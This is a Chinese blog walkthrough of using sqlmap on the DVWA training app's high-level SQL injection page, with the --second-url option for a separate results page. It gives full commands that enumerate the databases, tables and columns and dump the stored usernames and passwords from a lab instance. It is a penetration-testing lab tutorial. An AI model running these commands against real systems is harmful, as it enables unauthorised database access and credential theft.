sqlmap测试dvwa-sql注入high

火腿肠

已于 2022-08-12 22:10:51 修改

阅读量1.9k

点赞数 2

分类专栏： sqlmap 文章标签： sql 数据库 java

于 2022-08-12 22:04:41 首次发布

本文链接：https://blog.csdn.net/qq_39511050/article/details/126311983

版权

sqlmap 专栏收录该内容

4 篇文章 0 订阅

订阅专栏

逻辑分析

记录使用sqlmap的过程，以dvwa为例，具体内容如下：
dvwa中sql注入高级界面如下显示：
在这里插入图片描述
其中数据提交的页面和查询结果显示的页面是分离成了2个不同的窗口控制的。即在查询提交窗口提交数据后（POST请求），结果的结果在另外一个窗口展示（GET请求）。
此时需要利用其非常规的命令联合操作，如：–second-url=“xxxurl”（设置二阶响应的结果显示页面的url）

利用SQLMap工具注入测试

命令解析：
–url=“查询数据提交时的页面的url”，或用-u “xxxurl”
–second-url=“显示查询结果页面的url”
构造SQLMap命令：

qlmap --url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=3skv951e5l0qku8ma8bq0nnbpd" --batch

在这里插入图片描述
执行结果如下：

1.获取数据库信息

sqlmap --url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=3skv951e5l0qku8ma8bq0nnbpd" --batch --dbs

在这里插入图片描述

2.获取当前数据库名称

sqlmap --url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=3skv951e5l0qku8ma8bq0nnbpd" --batch --current-db

在这里插入图片描述

3.获取MySQL数据库中的表

sqlmap --url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=3skv951e5l0qku8ma8bq0nnbpd" --batch -D dvwa --tables

在这里插入图片描述

4.获取user表中的字段

sqlmap --url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=3skv951e5l0qku8ma8bq0nnbpd" --batch -D dvwa -T users --columns

在这里插入图片描述

5.获取用户名和密码

sqlmap --url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --second-url="http://192.168.101.59/DVWA-master/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=3skv951e5l0qku8ma8bq0nnbpd" --batch -D dvwa -T users -C user,password --dump

在这里插入图片描述